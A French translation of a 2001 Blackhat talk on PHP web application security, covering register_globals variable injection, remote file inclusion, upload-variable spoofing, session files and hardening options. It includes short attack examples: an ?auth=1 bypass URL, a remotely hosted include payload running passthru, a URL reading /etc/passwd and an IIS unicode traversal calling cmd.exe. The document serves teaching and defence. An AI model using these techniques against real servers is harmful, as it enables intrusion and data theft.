Exploitation des vulnérabilités avec les applications PHP
Auteur/Traducteur : tobozo@users.sourceforge.net
Date de création : 19 mars 2001
Dernière modification : 30 novembre 2002
Vu 24081 fois

References :
Inspiré du document original de Shaun Clowes SecureReality

  --- < Sommaire > --------------------------------------------------------------
 
  1. Introduction
  2. Tour d'horizon
  3. Variables Globales
  4. Fichiers distants
  5. Upload des fichiers
  6. Fichiers de Librairies
  7. Fichiers de sessions
  8. Codage rapide et tableaux associatifs
  9. Fonctions ciblées
  10. Protéger PHP
  11. Responsabilité - Langage et Programmeur
  12. Autre
 
 
  --- < 1. Introduction > -------------------------------------------------------
 
  Ce document est une traduction basée sur un discours lu aux conférences
  Blackhat de Singapour et Hong Kong en avril 2001. A l'origine le discours
  était intitulé "Forcer l'entrée par la porte de devant - L'impact des
  applications web sur des modeles traditionnels de sécurité", et traitait
  des problemes rencontrés sur des applications ASP, les trous exposés et les
  méthodes utilisées pour les mettre a jour.
  Le reste de la conference était consacré a PHP. Pour les néophytes, PHP veut
  dire "PHP Hypertext Preprocessor" (encore un acronyme récursif ;). C'est un
  langage de programmation (spécialement concu pour le web) dans lequel le code
  PHP est inclus avec le code html des pages web. Quand un client envoie une
  requete pour une page, le serveur web passe la requete a l'interpreteur en vue
  d'executer le code, le resultat est envoyé au client.
 
  Evidemment cette approche est bien plus appropriée pour traiter des problemes
  rencontrés avec PHP qu'avec des langages comme Perl ou C.
  PHP (par opposition avec d'autres langages du web) a les caracteristiques
  suivantes :
  + Interpreté
  + Execution rapide - L'interpreteur est inclus dans le serveur web sans fork()
  ou paramatres de configuration supplementaires.
  + Riche en possibilités - Des centaines de fonctions tres souples
  + Syntaxe simple - Déclarations de Variable optionnelles, nommage intuitif des
  fonctions
 
  On va expliquer dans ce document pourquoi les deux dernieres caracteristiques
  font que les applications écrites en PHP sont faciles a attaquer et difficiles
  a défendre. On finira par une distribution de palmes et de bonnets d'anes en
  matiere de sécurité logicielle.
 
 
  --- < 2. Tour d'horizon > -----------------------------------------------------
 
  Presque toutes les observations de ce document se réferent a une installation
  par défaut de PHP 4.0.4pl1 (avec MySQL, PostgreSQL, IMAP et le support OpenSSL
  activé) en tant que module avec Apache 1.3.19 sur une machine linux.
  Evidemment les resultats peuvent varier selon les versions et l'age des
  installations, ainsi plusieurs versions de PHP peuvent avoir un comportement
  radicalement différent pour une meme situation.
 
  Bien que les fans du PHP défendent ce langage en plaidant l'extreme
  configurabilité de ce systeme, la plupart d'entre eux ne vont pas modifier les
  valeurs par défaut du package lors de la mise en place par peur de voir la
  majorité des applications qu'ils utilisent ne pas fonctionner. Le débat autour
  du fichier de configuration PHP est cependant nécéssaire pour ceux qui se
  sentent concernés par la sécurité de telles installations.
 
 
  --- < 3. Variables Globales > ------------------------------------------------
 
  Comment mentionné plus haut, les variables PHP n'ont pas besoin d'etre
  déclarées, elles sont automatiquement créées lors de leur premiere utilisation.
  Elle n'ont pas besoin non plus d'etre typées, le typage etant également effectué
  automatiquement en référence au contexte dans lequel elles sont utilisées. Ces
  faits rendent les choses tres pratiques d'un point de vue programmation (et
  présentent des horizons tres larges a ceux qui préferent les langages de
  développement rapides pour les applications). Aussitot qu'une variable est
  créée, elle peut etre référencée n'importe ou dans le programme (sauf les
  fonctions dans lesquelles il faut explicitement les inclure avec la fonction
  'global'). Le résultat des ces caractéristiques est que ces variables sont
  rarement initialisées par le programmeur lui meme, car apres tout la création
  initiale d'une variable lui voit assigner une valeur nulle (ex : "").
 
  Apparemment la principale fonction d'une application web PHP est de récuperer
  des données du client (variables de formulaire, fichiers uploadés, cookies,
  etc), de procéder au traitement de ces données et de renvoyer un résultat basé
  sur ces memes données. Afin de simplifier au maximum la tache au script PHP lors
  de l'acces, les données lui sont fournies sous forme de variables globales PHP.
  Considérons l'exemple suivant basé sur du code HTML :
 
  <FORM METHOD="GET" ACTION="test.php">
  <INPUT TYPE="TEXT" NAME="hello">
  <INPUT TYPE="SUBMIT">
  </FORM>
 
  Ce code affiche une boite texte et un bouton submit. Quand l'utilisateur clique
  sur le bouton submit, le script test.php sera éxécuté pour procéder au
  traitement des données envoyées. Au moment de son éxécution, la variable
  $hello se verra assigner comme valeur le texte contenu dans le champ input du
  meme nom (<input type="text" name="hello">), le meme texte que l'utilisateur a
  tapé dans la boite texte avant de cliquer sur submit. Il est tres important de
  noter les implications que cela engendre, cela veut dire qu'un petit malin peut
  créer n'importe quelle variable et la voir déclarée globalement avec les autres
  variables. Si au lieu d'utiliser le formulaire ci dessus, le petit malin appelle
  directement l'url comme suit :
  "http://server/test.php?hello=salut&setup=jambon", non seulement la variable
  $hello se verra assigner la valeur "salut", mais aussi la variable $setup sera
  créée et se verra assigner la valeur "jambon", ces deux variables étant globales
  et utilisables sur tout le script test.php.
 
  Ceci peut devenir un réel probleme dans le cas d'un script qui a pour role
  d'authentifier un utilisateur avant d'afficher des informations importantes,
  par exemple :
 
  <?php
  if ($pass == "hello")
  $auth = 1;
  ...
  if ($auth == 1)
  echo "des infos importantes";
  ?>
 
  Lors d'une utilisation "normale" le code ci-dessus va comparer un mot de passe
  avec une valeur donnée (hello), puis décider si l'utilisateur distant peut
  accéder ou pas aux infos importantes en stockant une valeur dans la variable
  $auth. Le probleme c'est que le code part (a tort) du principe que la variable
  $auth sera vide jusqu'a ce qu'elle se voit assigner une valeur. Avec la méthode
  citée plus haut on peut donc facilement construire une URL comme
  'http://server/test.php?auth=1' qui permettra de ne pas avoir a fournir de
  password et d'etre quand meme considéré comme authentifié.
 
  Pour résumer, on peut dire qu'un script PHP "ne peut pas faire confiance a
  N'IMPORTE QUELLE variable qui n'a pas été EXPLICITEMENT assignée".
  D'ailleurs plus un script traite de variables et plus la tache est ardue pour
  sécuriser le tout (ndt : heureusement il y a les classes ;0).
 
  Une approche plus protective consiste a vérifier qu'une variable ne fait pas
  partie du tableau HTTP_GET/POST_VARS[] (un choix en fonction de la methode
  utilisée pour soumettre les formulaires, GET ou POST). Quand PHP est configuré
  avec 'track_vars' (par défaut), les variables envoyées par l'utilisateur sont
  disponibles globalement mais aussi sous forme de tableaux associatifs comme
  mentionné plus haut. Il est quand meme important de noter qu'il existe QUATRE
  tableaux associatifs differents et qui peuvent etre sujets a des attaques :
 
  -HTTP_GET_VARS pour les variables envoyées dans l'url (ou formulaire avec la
  methode GET).
 
  -HTTP_POST_VARS pour les variables postées par formulaire avec la methode POST
  d'une requete HTTP
 
  -HTTP_COOKIE_VARS pour les variables envoyées comme partie du header d'un cookie
  dans une requete HTTP
 
  -HTTP_POST_FILES tableau présent dans la plupart des versions récentes de PHP,
  correspond aux infos relatives a un fichier uploadé via methode POST
 
  C'est l'utilisateur final qui décide quelle méthode utiliser pour soumettre ces
  variables, une simple requete peut parfaitement placer des variables dans ces
  quatres différents tableaux, un script qui se veut sécurisé a besoin de les
  vérifier tous les quatres (a l'exception de HTTP_POST_FILES qui ne devrait pas
  poser de problemes excepté dans certaines circonstances qu'on pourrait qualifier
  d'exceptionnelles).
 
 
  --- < 4. Fichiers distants > -------------------------------------------------
 
  Sans vouloir radoter, PHP est un langage extremement riche. Il est livré avec
  une panoplie tres complete de fonctionnalités et fait de son mieux pour
  faciliter la tache au codeur (ou web designer comme c'est souvent le cas).
  D'un point de vue sécurité, plus les fonctionnalités offertes sont riches,
  moins les possibilités sont intuitives, et plus il est difficile de sécuriser
  les applications qui y sont écrites (merci m$ pour ce joli theoreme). Un
  excellent exemple de fonctionnalité est l'utilisaton distante de fichiers
  avec PHP :
 
  La portion de code qui suit est censée ouvrir un fichier :
 
 
  <?php
  if (!($fd = fopen("$filename", "r"))
  echo("Impossible d'ouvrir le fichier: $filename<BR>\n");
  ?>
 
  Ce code va essayer d'ouvrir en lecture le fichier dont le nom est spécifié dans
  la variable $filename et affiche une erreur si l'ouverture échoue. Certains
  sites en ont fait les frais, car il est facile de forcer la déclaration de
  $filename dans l'url et ainsi d'acceder au contenu de fichiers sensibles sur le
  serveur (ex : /etc/passwd), il est aussi possible de lire des données en
  provenance de serveurs distants, ftp, etc. Les fonctionnalités distantes
  d'acces aux fichiers de PHP rendent possible l'utilisation des fonctions
  fichiers sur des cibles locales comme distantes et ceci en toute transparence.
  ex : http://cible/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
  PHP va effectuer une requete HTTP en direction du serveur "cible" (et tester au
  passage la faille unicode).
  Ca devient encore plus intéressant dans le contexte de quatre autres fonctions
  qui tolerent les fonctionnalités d'acces aux fichiers distants ( *** sauf pour
  windows ***), include(), require(), include_once() et require_once(). Ces
  fonctions prennent un nom de fichier, et le lisent comme etant du code PHP,
  elles sont utilisées typiquement dans un contexte d'inclusion de librairies
  de code, un cas ou des portions de script réutilisables sont stockées dans des
  fichiers qui seront inclus quand c'est nécessaire (ex:phplib). Examinons cette
  portion de code :
 
  <?php
  include($libdir . "/langages.php");
  ?>
 
  On peut présumer que $libdir est une variable de configuration a qui on a
  assigné une valeur égale au répertoire qui contient le fichier langages.php
  et ou se trouvent d'autres librairies. Si un petit malin peut forcer la
  déclaration de cette variable il lui devient possible de rediriger la
  requete vers lui meme et ainsi de substituer son code a celui des librairies
  en remplacant le chemin d'acces local par un chemin d'acces distant. En final il
  ne serait possible que d'acceder a un fichier langages.php situé dans un
  repertoire ou une url de son choix. Par exemple, si le petit malin place un
  fichier langages.php sur un serveur web distant et y dépose le code suivant :
 
  <?php
  passthru("/bin/ls /etc");
  ?>
 
  et construire l'url en forcant la declaration de $libdir avec la valeur
  "http://<petit malin>/", lors de l'execution de l'include, le script va aller
  chercher le fichier langages.php sur le serveur au lieu d'aller le
  chercher en local, et ainsi permettre l'execution de code arbitraire (ici le
  code retournera le contenu du repertoire /etc). A noter que le serveur ou se
  trouve le fichier langages.php ne doit pas etre un serveur qui interprete le PHP
  (sans quoi le code ne sera pas envoyé mais interpreté).
 
 
  --- < 5. Upload des fichiers > -------------------------------------------------
 
  Comme si PHP n'avait pas assez de trous, le langage met a disposition un support
  automatique pour l'upload conformément au RFC 1867. Prenons le formulaire
  suivant comme exemple :
 
  <FORM METHOD="POST" ENCTYPE="multipart/form-data">
  <INPUT TYPE="FILE" NAME="hello">
  <INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240">
  <INPUT TYPE="SUBMIT">
  </FORM>
 
  Ce formulaire va autoriser le browser web a selectionner un fichier local,
  puis envoyer ce fichier au serveur lorsque l'utilisateur clique sur submit.
  Cette fonctionnalité est bien sur tres utile, c'est la réponse de PHP qui
  en fait une situation dangereuse. Au moment ou PHP recoit la requete, et
  *avant meme* d'avoir commencé a interpreter le fichier php qui la recoit,
  le fichier sera recu, la taille comparée avec la valeur de la variable
  $MAX_FILE_SIZE (ici fixée a 10 ko) et cette derniere valeur comparée avec celle
  spécifiée dans le php.ini. Si ces deux tests sont concluants, le fichier est
  alors SAUVÉ sur le disque local du serveur, dans un repertoire temporaire.
  Il ya de quoi sauter au plafond, un utilisateur distant peut tres bien envoyer
  n'importe quel fichier sur un serveur avec PHP et ceci avant que le script
  ait commencé a etre executé (ceci ecarte l'option que ce meme script puisse
  refuser le fichier qui est quand meme SAUVÉ sur le disque local du serveur).
 
  Imaginons un script qui *est* concu pour recevoir des uploads de fichier.
  Comme décrit plus haut le fichier est recu puis sauvé sur le disque local du
  serveur (dans un répertoire spécifié dans le php.ini ex : /tmp) et se fait
  assigner un nom de fichier au hasard (ex: "phpxXuoXG"). Le script PHP a besoin
  d'infos sur ce fichier uploadé pour etre capable de le traiter. Ceci est fourni
  de deux facons différentes, l'une d'elles est en service depuis les premieres
  versions de php3, l'autre a été développée suite a des bulletins de sécurité en
  rapport avec la description fournie dans ce document.
 
  Le probleme est néanmoins toujours existant et en bonne santé, a tel point que
  l'ancienne methode et ses vulnerabilités est toujours en pratique sur pas mal
  d'applications bien en vogue (ex:phpnuke). PHP ajoute quatre variables pour
  décrire le fichier uploadé, par exemple :
 
  $hello = Nom du fichier sur le serveur (ex: "/tmp/phpxXuoXG")
  $hello_size = Taille en Octets du fichier (ex: 1024)
  $hello_name = Le nom original du fichier sur le client (ex:"c:\\hello.txt")
  $hello_type = Le format Mime du fichier uploadé (ex:"text/plain")
 
  Ensuite le script php peut travailler sur le fichier localisé grace a la
  variable $hello, le probleme c'est qu'il n'est pas forcément évident pour PHP
  que la variable $hello doive etre déclarée via l'url ou pas, considérons l'url:
 
  http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/
  plain&hello_name=hello.txt
 
  Le résultat correspondra a peu pres a ces declarations de variables qui se
  retrouvent globalisées (ca marche egalement avec la methode POST ou avec les
  cookies) :
 
  $hello = "/etc/passwd"
  $hello_size = 10240
  $hello_type = "text/plain"
  $hello_name = "hello.txt"
 
  Ceci produira exactement ce a quoi PHP s'attend lors d'un upload de fichier,
  excepté que normalement c'est PHP qui les déclare, et qu'ici on se retrouvera
  avec le contenu du fichier /etc/passwd sur quoi travailler. Cette meme attaque
  peut etre utilisée pour mettre en évidence toute sorte de fichier sensible (en
  particulier les fichiers de config ou tiers contenant des infos sur
  l'assignation des droits sur le serveur).
 
  Comme expliqué plus haut, les version plus récentes de PHP peuvent utiliser des
  methodes différentes pour déterminer quelles sont les infos relatives aux
  fichiers uploadés (via le tableau HTTP_POST_FILES[]). Plusieurs fonctions sont
  également fournies dont une permet de comparer si le fichier sur lequel on
  travaille est bien celui qui a été uploadé. Ces méthodes reglent définitivement
  le probleme mais ne corrigent pas les scripts qui utilisent encore l'ancienne
  méthode, et on est loin d'atteindre une pénurie en la matiere.
 
  Comme alternative a l'attaque par l'upload, on peut également considérer
  l'exemple suivant :
 
  <?php
  if (file_exists($theme)) // Vérifie si le fichier existe sur le systeme local
  //(pas de fichiers distants)
  include("$theme");
  ?>
 
  Si l'attaquant peut controler $theme, il peut evidemment l'utiliser pour lire
  n'importe que fichier sur le systeme distant (excepté les fichiers qui ont
  des tags php "<?" (qui vont etre interpretés au lieu d'etre lus). Bien que cela
  pose un probleme, le but ultime de tout attaquant est d'arriver a éxecuter des
  commandes sur le serveur distant, et il est impossible d'y arriver en utilisant
  des fichiers distants etant donné que la methode file_exists ne s'applique qu'a
  des fichiers locaux. Il faut donc au préalable arriver a uploader du code avant
  de faire appel a cette faille. Si l'attaquant crée un fichier sur sa machine et
  comme contenu y dépose le code a éxecuter (ex : passthru, eval), puis crée un
  formulaire dont un des champs s'appelle "theme", il peut alors utiliser ce meme
  formulaire pour soumettre le fichier via upload, PHP sera assez sympa pour
  sauver le fichier et déclarer $theme avec la valeur du fichier de l'attaquant
  sur la machine locale. Le methode file_exists() se vérifiera avec succes et le
  code de l'attaquant sera alors éxécuté sur le serveur.
 
  Une fois que ses droits en éxécution PHP sont obtenus sur le serveur web distant
  l'attaquant pourra s'adonner a des taches plus investigatoires en vue d'obtenir
  des privileges plus avancés sur le serveur local ou sur d'autres serveurs, ces
  deux méthodes nécessitant une boite a outils ne se trouvant pas (encore) sur le
  serveur. L'utilisation de chmod() et des autres fonctions relatives au systeme
  de fichier ne mettent plus en cause le fait de pouvoir tricher avec l'upload,
  car l'envoi de fichier a été rendu "legal" par la methode décrite plus haut. Le
  risque est plutot de voir l'attaquant utiliser une telle methode pour mettre
  en place un rootkit et l'executer ...
 
 
  --- < 6. Fichiers de librairies > ---------------------------------------------
 
  On mentionnait plus haut les fonctions include() et require(), elles sont
  généralement utilisées en respect du concept des librairies de code. Cela
  implique que des portions de codes communes a plusieurs applications sont mises
  a disposition dans un repertoire prévu a cet effet (lib, phplib, promotheus-lib)
  et que ces portions de codes sont incluses directement quand c'est nécessaire.
  Include() et Require() prendront n'importe quel nom de fichier qu'on leur
  specifie, liront le fichier et interpreteront son contenu comme du code PHP.
 
  Un standard en programmation suggerait de mettre l'extension ".inc" aux fichiers
  de librairies afin de les distinguer des fichiers de code applicatif. Cela a
  posé pas mal de problemes sur des serveurs qui se contentaient de lire ces
  fichiers sans les interpréter comme de vulgaires fichiers textes. Aussi certains
  de ces fichiers pouvant contenir des infos sensibles (user/pass base de données)
  se voyaient affichés en mode texte alors qu'ils auraient pu etre facilement
  protégés. La plus simple des solutions (c'est egalement la plus prisée) est de
  donner a TOUS les fichiers une extension interpretable (ex : php, php3).
 
  Le revers de la medaille est qu'un attaquant peut tres bien s'octroyer les
  memes privileges d'acces en réutilisant des portions de code qui sont prévues
  pour etre utilisées dans un autre contexte, ce qui nous ramene aux memes types
  d'attaques décrites plus haut.
 
  ex :
 
  Dans main.php (merci phpnuke;0):
   ?php
  $libDir = "/libdir";
  $langDir = "$libdir/langages";
 
  ...
 
  include("$libdir/loadlangage.php":
  ?>
 
  Dans libdir/loadlangage.php:
  <?php
  ...
 
  include("$langDir/$userLang");
  ?>
 
  Quand libdir/loadlangage.php est appelé dans le contexte défini de main.php,
  le script est parfaitement sécurisé, mais parce que libdir/loadlanguage porte
  l'extension .php (ce qui n'est pas nécessaire car include() marchera sur toute
  sorte de fichier) il est possible qu'un attaquant l'execute. Une fois en dehors
  du contexte, l'attaquant peut forcer les valeurs de $langDir et $userLang avec
  la methode url citée plus haut.
 
 
  --- < 7. Les fichiers de session > --------------------------------------------
 
  Les versions récentes de PHP(4 et supérieures) offrent un support pour les
  sessions. Leur utilité basique consiste a pouvoir sauver des infos d'une page a
  l'autre au sein d'une application PHP. Par exemple quand un utilisateur se
  loggue sur un site web, le fait qu'il soit loggué (et ce a quoi il est loggué)
  pourrait etre sauvé dans cette session. Ces informations seront disponibles au
  autres pages PHP au fur et a mesure de son évolution sur le site. Ce qui se
  produit quand une session est démarrée (lors du premier chargement de la
  premiere page si spécifié dans le php.ini) revient a générer aléatoirement un
  numero unique et l'assigner, la session persiste aussi longtemps que le client
  distant soumet ce numero avec chacune de ses requetes (compris jericho?).
  Cela peut etre tres facilement pris en charge avec le cookie mais aussi par un
  champ de formulaire ou une variable dans l'url. La session est une unité de
  stockage de variables , une application PHP peut choisir d'enregistrer une
  variable particuliere avec la session, sa valeur est alors stockée dans le
  fichier de session a la fin de chaque script PHP et ainsi chargée au départ de
  chaque script comme dans cet exemple :
 
  <?php
  session_destroy(); // Effacer les données présentes dans la session
  $session_auth = "savate";
  session_register("session_auth"); // Enregistrer $session_auth comme variable
  // de session
  ?>
 
  Tout page visitée ulterieurement aura la variable $session_auth pré-déclarée
  avec comme valeur "savate". C'est tres pratique et parfois nécessaire pour
  une utilisation sur un environnement qui ne nécéssite pas d'état défini.
 
  Un probleme évident consiste a s'assurer que les variables viennent bien de la
  session, par exemple si on éxécute le code suivant apres avoir utilisé le
  script précédent :
 
  <?php
  if (!empty($session_auth))
  // Donner l'acces au site
  ?>
 
  Ce code part du principe que $session_auth est déclaré lors du démarrage de
  l'instance de la session et non pas dans l'url. Si un attaquant force la
  déclaration de $session_auth via l'url ou un formulaire, il peut ainsi gagner
  l'acces a tout le site. A noter que l'attaquant doit utiliser cette methode
  avant que la variable soit enregistrée avec la session, car une fois que la
  variable fait partie de la session, elle viendra écraser toute autre variable
  du meme nom, qu'elle provienne d'une url ou d'un formulaire.
 
  Les données de la session sont sauvées dans un fichiers (configurable dans le
  php.ini -> habituellement /tmp) appelé 'sess_'. Ce fichier contient
  les noms des variables de la session, leurs types, leurs valeurs, etc. Sur un
  systeme de multi hosting cela peut poser des problemes car les fichiers sont
  sauves en tant que nobody (ou l'utilisateur qui execute le serveur web). Un
  petit malin peut facilement se créer un fichier de session afin de s'octroyer
  des droits sur un autre site que le sien ou meme examiner les fichiers de
  session existants et ainsi avoir acces a des données sensibles.
 
  Le mecanisme de la session est tel qu'il est egalement possible de deviner le
  nom du fichier qui comporte les infos de la session, ainsi que le nom du
  repertoire dans lequel ils se trouvent 'php' et repertoire /tmp.
 
  Enfin un autre probleme auquel il n'a pas été trouvé d'exemple pratique mais
  qui n'en est pas moins préoccupant est que l'on peut spécifier n'importe quel
  ID de session (ex:'hello') et ainsi créer un fichier de session avec ce meme ID
  (ex: '/tmp/sess_hello'). L'ID ne peut contenir que des caracteres
  alphanumériques mais cela peut quand meme s'averer utile dans certaines
  situations.
 
 
 
  --- < 8. Codage rapide et tableaux associatifs > ------------------------------
 
  Petit rappel sur ces facteurs :
 
  PHP est un langage de programmation rapide et facile, une des incidences est
  qu'une variable peut avoir plusieurs valeurs en meme temps, cela dépendant du
  contexte dans lequel elle est évaluée. Par exemple si la variable $hello est
  égale a une chaine vide "", elle aura comme valeur 0 si elle est évaluée en
  tant que nombre. Cela peut parfois conduire a des situations assez peu
  intuitives (comme pour phpMyAdmin). En revanche si $hello se fait assigner une
  valeur de "000" ca n'est PAS egal a "0" et la fonction empty() ne renverra pas
  un resultat 'true'.
 
  Les tableaux de PHP sont des tableaux associatifs, l'index du tableau est une
  chaine (STRING) et peut se faire assigner n'importe quelle valeur, il n'est pas
  évalué numeriquement. Donc l'entrée du tableau $hello["000"] n'est PAS la meme
  chose que l'entrée du tableau $hello[0].
 
  On a besoin de faire attention a bien évaluer et valider les entrées utilisateur
  en tenant compte de ces facteurs si on veut faire une application digne de ce
  nom. ex : inutile de tester si quelque chose est egal a 0 pour ensuite le
  valider en utilisant empty() ailleurs.
 
 
 
  --- < 9. Fonctions ciblées > --------------------------------------------------
 
  Lors de la recherche de trous dans des applications PHP (et quand on a le code
  source), il est tres utile d'avoir la liste des fonctions qui sont fréquemment
  mal utilisees ou sont de bonnes cibles si elles sont utilisées d'une maniere
  vulnérable dans une application ciblée. si un utilisateur distant peut affecter
  les parametres de ces fonctions, l'exploitation est souvent possible. Voici
  une liste non exhaustive des failles connues :
 
  Execution du code PHP :
  -require() et include() : Ces deux fonctions lisent un fichier spécifié et
  interpretent le contenu comme du code PHP
  -eval() : Interpreter une chaine donnée comme du code PHP
  -preg_replace() : quand utilisé avec le modificateur /e cette fonction
  interprete la chaine de remplacement comme du code PHP
 
  Execution de commandes :
  -exec() : Executer une commande specifiée et retourner la derniere ligne
  résultante de cette commande.
  -passthru() : Executer une commande spécifiée et retourner tous les resultat
  directement dans le browser
  -`` (apostrophes inversées) : Executer la commande spécifiee et retourner tous
  les résultats directement dans un tableau
  -system() : un peu la meme chose que passthru() mais ne gere pas les données
  binaires
  -popen() : Executer une commande spécifiée et connecter le flux de sortie vers
  un descripteur de fichier PHP
 
  Manipulation de fichiers:
  -fopen() : Ouvrir un fichier et l'associer avec un descripteur de fichier PHP
  -readfile() : Lire un fichier et écrire son contenu dans le browser
  -file() : Lire un fichier et mettre son contenu et ses infos dans un tableau
 
 
  --- < 10. Protéger PHP > ------------------------------------------------------
 
  Toutes les attaques décrites plus haut marchent a la perfection sur une install
  par défaut de PHP4. En revanche la configurabilité de PHP permet de pouvoir
  fournir une réponse radicale a chacune de ces situations. La facture a payer
  (en matiere de sécurité il y a toujours une ardoise ;) peut varier selon la
  méthode choisie, voici une liste des méthodes classées de la plus douloureuse
  a la moins couteuse.
 
  * = Pratiquement indolore (limite chatouilles)
  ** = Vaguement douloureux
  *** = Gravemement douloureux
  **** = Insoutenable (Torture chinoise)
 
  Il ne s'agit evidemment pas de cout monetaire ni de douleur physique ;-) Il
  faut cependant noter que si l'on utilise toutes ces options en meme temps on se
  retrouve avec une installation "sécurité maximum" de PHP sur laquelle n'importe
  quelle application PHP sera sécurisée, et pour cause, aucune ne fonctionnera ;)
 
 
  **** - Set register_globals off
  Cette option va stopper l'enregistrement des variables pour les entrées
  utilisateur. A savoir, si un utilisateur essaye de créer une variables $hello
  via l'url ou un formulaire, PHP ne déclarera pas $hello, mais déclarera
  $HTTP_GET_VARS['hello'] (ou POST_VARS selon le cas). C'est la mere de toutes
  les autres options pour la sécurité PHP, l'effet secondaire d'une telle
  désactivation est la mort de toute tierce application ainsi qu'une difficulté
  a programmer comparable a celle qu'on a avec java (sorry le dany;)
 
  *** - Set safe_mode on
  On ne décrit pas ici tout ce que le safe_mode propose car ca n'est documenté
  nulle part au moment ou ce texte est traduit. On peut cependant constater qu'un
  grand nombre de restrictions sont activées en meme temps que lui, parmi ces
  restrictions on peut compter :
  - La possibilité de restreindre les commandes qui peuvent etre executées par
  exec(), etc)
  - La possibilité de restreindre les fonctions de PHP (ex : multimania a
  désactivé fsockopen)
  - Restreindre l'acces a un script ou un fichier cible sur une base
  d'appartenance a un groupe ou a un utilisateur.
  - L'impossibilité d'uploader
  C'est une excellente option pour les environnements FAI (c'est d'ailleurs pour
  eux que le safe_mode a été concu) et elle permet d'augmenter considérablement
  la sécurité d'une environnement PHP normal. Cette option peut egalement etre
  la cause de violentes migraines.
 
  ** - Set open_basedir
  Cette option permet de restreindre les operations sur les fichiers aux seuls
  repertoires impliqués lors de l'appel au fichier. Cela peut avoir comme effet
  d'invalider toute une variété d'include() et aussi d'attaques distantes mais ne
  protege pas forcement les failles d'upload ou des fichiers de sessions.
 
  ** - Set display_errors off, log_errors on
  Cette option désactive l'affichage vers le browser des messages d'erreur PHP.
  Elle permet d'eviter qu'un possible attaquant devine la structure du systeme de
  fichier local mais peut rendre le debugage tres frustrant.
 
  * - Set allow_url_fopen off
  Cette option permet de désactiver toutes les fonctionnalités relatives a la
  manipulation des fichiers distants, il est recommandé de l'utiliser dans tous
  les cas de figure, meme si cela ampute pas mal d'applications interessantes.
 
  Il y a certainement d'autres options tres pratiques pour la sécurité, et il
  existe une documentation tres riche sur PHP qui couvre le sujet de facon plus
  exhaustive, voir http://php.net ...
 
 
 
 
  --- < 11. Responsabilités - Langage et Programmeur > --------------------------
 
  Il faut admettre qu'ils est tres difficile d'écrire une application PHP qui
  soit vraiment sécurisée (en tous cas avec la config par defaut de PHP). Le
  probleme n'est pas que PHP soit un mauvais langage, au contraire il est
  tellement accessible et a tellement de possibilités que d'autres langages n'ont
  pas. Si on observe bien on peut relever ces deux faits :
 
  - Les Web Designers et non codeurs finissent toujours par écrire des
  applications PHP. Ils n'ont pas a la base (a part dans certains cas) une
  connaissance de ce qu'implique la sécurité du code qu'ils écrivent car leur
  philosophie de codage n'est pas orientée comme elle devrait. Une application
  PHP est par définition exectuée dans le type d'environnement qui est le plus
  exposé aux attaques : une page universellement accessible depuis un serveur
  web. L'etat d'esprit devrait plutot etre similaire a celui utilisé lors du
  codage d'un network daemon qui va subir des attaques régulieres, ou d'une
  application setuid en tant que root. Au lieu de cela on constate que le
  focus est mis sur le developpement a tout prix d'une application locale sans
  privileges. Si un serveur web est corruptible, il fournira alors une
  passerelle potentielle a un tiers, ce qui peut etre tres dangereux meme si
  l'acces est fait en tant que nobody.
 
  - Le comportement du code est impossible a prévoir. Un include() qui utilise
  une entrée utilisateur avec "image.php" par exemple, normalement devrait etre
  sans danger pour la sécurité. L'utilisateur ne pouvant influer sur le chemin
  d'acces, ni créer un fichier image.php sur la machine distante, on peut se
  persuader que tout va bien. Seulement quand les fonctionnalités de fichiers
  distants sont activées cette situation peut devenir un vrai cauchemar et PHP
  n'a pas rendu cette situation tres intuivite.
 
  On aurait tendance a blamer le programmeur pour le code qu'il ecrit, mais si
  un langage rend la tache difficile au programmeur pour écrire du bon code, le
  langage doit aussi prendre une partie du blame pour cette situation. Il est
  vrai cependant que la plupart des programmeurs pourraient en savoir plus sur le
  sujet avant de se lancer dans la diffusion d'applications de production. Dans
  presque toutes les applications PHP on peut voir que le programmeur a vaguement
  "essayé" de mettre de la sécurité, mais a laissé tomber quand il s'est retrouvé
  face aux implications que cela engendre avec le comportement de PHP. Dans sa
  recherche de l'ultime fonctionnalité, PHP a completement tué chez le programmeur
  la faculté a pouvoir comprendre le fonctionnement de son code dans toutes les
  situations possibles.
 
 
 
  --- < 12. Autres > ------------------------------------------------------------
 
 
  Cette section rassemble d'autres ressources diverses et variées
 
  En francais :
 
  - Serial Savate System Advisories
  http://savate.madchat.org/addons/security/xxxxxxxxxxxx.adv.en => phpNuke trou
  http://savate.madchat.org/addons/security/xxxxxxxxxxx2.adv.en => phpSlash trou
  http://savate.madchat.org/addons/security/xxxxxxxxxxx3.adv.en => phplib trou
 
  En anglais :
 
  - Rain Forest Puppy
  RFP 2101 - "RFPlutonium to fuel your PHP-Nuke"
  http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=2
  - João Gouveia
  Quelques posts sur Bugtraq
  http://www.securityfocus.com/templates/archive.pike?list=1&mid=165519
  http://www.securityfocus.com/templates/archive.pike?list=1&mid=147104
  - Jouko Pynnonen
  http://www.securityfocus.com/templates/archive.pike?list=1&mid=169045
 
 
  SecureReality a posté plusieurs advisories sur les applications PHP qui
  devraient etre citées en exemple dans ce document :
  - SRADV00001 - Manipulation arbitraire de fichiers avec l'upload de PHP
  http://www.securereality.com.au/sradv00001.html
  - SRADV00003 - Manipulation arbitraire de fichiers avec IMP
  http://www.securereality.com.au/sradv00003.html
  - SRADV00006 - Exécution de commandes a distance avec phpGroupWare
  http://www.securereality.com.au/sradv00006.html
  - SRADV00008 - Exécution de commandes a distance avec phpMyAdmin et phpPgAdmin
  http://www.securereality.com.au/sradv00008.txt
  - SRADV00009 - Exécution de commandes a distance avec phpSecurePages
  http://www.securereality.com.au/sradv00009.txt
  - SRADV00010 - Exécution de commandes a distance avec SquirrelMail
  http://www.securereality.com.au/sradv00010.txt
  - SRADV00011 - Exécution de commandes a distance avec WebCalendar
  http://www.securereality.com.au/sradv00011.txt
 
 
(copyleft) 2001 tobozo@users.sourceforge.net 19-mar-2001 16:33:02 GMT &Ext